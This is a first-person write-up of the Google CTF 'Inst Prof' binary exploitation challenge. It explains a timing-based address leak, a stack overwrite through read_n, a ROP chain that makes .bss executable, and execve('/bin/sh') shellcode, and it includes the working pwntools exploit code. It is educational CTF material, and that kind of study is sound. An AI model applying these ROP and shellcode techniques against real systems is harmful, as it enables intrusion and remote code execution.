Google CTF - Inst Prof Writeup
I started this challenge after finishing Wiki since my team still did not solve it at that time. I though I would grab this low hanging fruit fast and move on to the harder challenges, as it was categorised as an easy task and had many solvers. Boy, was I ever wrong! If you are looking for the efficient solution for this challenge, I suggest you keep looking, my solution is full of detours and I made this challenge significantly harder than it should have been.
The provided binary is an x64 linux executable with NX and PIE enabled. There is no need for much reversing as the program itself is really simple. In an infinite loop it reads four bytes from the user, executes those four bytes in a loop a thousand times and prints the execution time in the end. More precisely:
- It allocates an
mmappage and copies the thousand-iteration-loop template there
- Reads four bytes from the user and substitutes it into the loop
- Makes the page executable
- Saves the
- Calls the page
- Reads the
rdtscclock again and prints the elapsed time
- Frees the page
What is interesting for us is obviously the 4 byte machine code we can run and the printing of the
rdtsc clock. Since that is the only information sent to us we will have to use it to leak addresses. This and an unhealthy dose of caffeine should be enough to finish the exploit.
The value of the Time Stamp Counter is saved to R12 before the call to our code. Later, when the loop has returned, it is subtracted from the current value of the Time Stamp Counter. It is easy to see how we can use this to leak addresses; we can subtract a value from R12 and we receive the subtracted value plus the time that passed between the two
r12 = rdtsc1 call our_code r12 = r12 - rsp return res = rdtsc2 - r12 res = rdtsc2 - rdtsc1 + rsp print res
If we want to leak accurate addresses then we need to guess or know the time spent between the two
rdtsc instructions. On the other hand, if we only want to get the base address of a mapping we don’t need accurate values as base addresses are page aligned, so the least significant 12 bits are always going to be zero. Leaking the stack base or executable page is straight forward as their addresses are already present in registers (RSP and RIP respectively).
Leaking the .text base requires an
additional step. We need to load a .text address into a register and subtract it from R12. Unfortunately I am not aware of any instruction combination that does this in 4 bytes and survives the return. The only alternative solution is to look for a register, that is not written between the calls to our 4 byte shellcode. Lucky for us R14 and R15 satisfies this condition, and the
pop r14; push r14 instructions can be used to load the original return address to the R14 register and
r12, r14; ret can be used to leak it. The actual code for the address leaks:
ret = asm("ret") add_r12_rsp = asm("sub r12, rsp") m.c.send(add_r12_rsp+ret) leak_stack = (u64(m.c.recv(), sign="signed")) -reftime stack_base = (leak_stack & 0xfffffffffffff000) - 0x20000 print ("Leaked stack address: "+hex(leak_stack)) print ("Leaked stack base: "+hex(stack_base)) print ("Get ret address to r14") m.c.send(pop_r14 + push_r14) m.c.recv() m.c.send(add_r12_r14+ret) leak_prog = (u64(m.c.recv(), sign="signed")) -reftime prog_base = (leak_prog & 0xfffffffffffff000) print ("Leaked prog address: "+hex(leak_prog)) print ("Leaked prog base: "+hex(prog_base))
At this point any sane person would have realised that with R14 and R15 we have an arbitrary write primitive. We could write a minimal ROP chain that calls the
make_page_executable and makes the stack executable and returns to a minimal shell code. But I didn’t. I took the scenic route.
After leaking the addresses I decided to call the
read_n(char* dst, int length) function, to overwrite the stack with arbitrary data. At the time of return RSI contains 0x1000 which is good enough for us, all we need to do is get the stack address into RDI and overwrite the return address with
read_n function’s address. As explained previously,
pop r14; push r14 can be used to get the original return address into R14. Since the
read_n address is really close to this address, we can issue the
dec r14; ret instructions multiple times (0x98 times to be exact) to point R14 to
The final step is to get the stack address into RDI and push R14 to the stack. This exactly is achieved by the
push rsi; pop rdi; push r14; instructions, it will mess up the stack but we plan to read there anyways. The actual code:
dec_r14 = asm("dec r14") push_r14 = asm("push r14") pop_rdi = asm("pop rdi") push_rsp = asm("push rsp") for i in range(0x98): m.c.send(dec_r14+ret) junk = m.c.recv() print("Jumping to read") m.c.send(push_rsp+pop_rdi+push_r14)
All that is left to do is to write a ROP chain that calls
execve with the
"/bin/sh",0,0 arguments. Thought the naive, adolescent me. The problem is that we only know the base address of the program and not the address of libc. At the time (heavily sleep deprived), I could not see a way to leak libc addresses easily. It would have been pretty simple though, R15 could be pointed to the .got and then
mov r14, [r15]; ret could have been used to read libc function addresses to R14.
Instead I run
the binary and noted the lack of useful gadgets with much disappointment. There are
pop rdi and
pop rsi gadgets in the binary but no control over RDX or EAX which means no
execve for us (or any syscall for that matter). At this point I was very tempted to give up and ease my sorrow with fine Belgian beers, but I resisted.
Having RSI and RDI control and PIE leak means that we can call any function from the binary and control the first two parameters, so it is worth looking through them. We can call:
The two most useful one are
make_page_executable(void* address) and the
read_n functions. With the help of these we can read an arbitrary shell code to the .bss and make it executable and return to it. The shell code can be the
execve("/bin/sh", 0, 0), we can place the “/bin/sh” string over the last return address on the stack when the ROP chain is sent. So the actual shell code ends up looking like this:
mov rdi, rsp mov rsi, 0 mov rdx, 0 mov rax, 59 syscall
This is a simple idea but at the time it took me significant amount of time to figure it out and beforehand a lot of trial and error with other non-working solutions. But after the pieces have fallen into place writing the ROP chain is rather straight forward. We simply use the
pop rdi; ret and
pop rsi, pop r15, ret gadgets to set up the parameters for the
make_page_executable functions. The relevant part of the exploit:
## get addresses bss_base = prog_base + 0x202000 bss_start = prog_base + 0x202070 pop_rdi = prog_base + 0xbc3 pop_rsi_r15 = prog_base + 0xbc1 read_n = prog_base+0xa80 make_page_exec = prog_base+0xa20 # RSI contains read length ropchain = p64(pop_rsi_r15)+ p64(0x500) + "B"*8 # RDI contains bss address ropchain += p64(pop_rdi) + p64(bss_start)+p64(read_n) # RDI contains the bss base ropchain += p64(pop_rdi) + p64(bss_base)+p64(page_exec) # ret to the shell code address and "/bin/sh" string ropchain += p64(bss_start) + "/bin/sh\0" print("sending stage 1") m.c.send(ropchain) # send shell code last_stage = asm("mov rdi, rsp; mov rsi, 0; mov rdx, 0;mov rax, 59;syscall") m.c.send("C"*(0x1000-88) +last_stage + "D" *((0x500+88 )-len(last_stage))) # enjoy remote shell m.c.interactive()
The complete exploit is available here.
Before concluding this write up here is a quick recap of the steps I took to get the flag:
- Leak addresses using the R12 register
read_nto overwrite the stack with arbitrary data
- Create a ROP chain that reads to the .bss and makes it executable and returns to it
- Send the
- Submit flag, realise it is my anniversary, quit CTF to try to save relationship (true story)
Without doubt this is not the most efficient way to solve this challenge, yet I hope some people find the write up helpful, educational. Overall I definitely enjoyed this challenge even though I almost lost hope at one point and was really close to giving up. Last but not least, I would like to say thank you to the organisers for the quality challenges and competition.
Oh yeah and the flag of course:
Despair is the name of the game.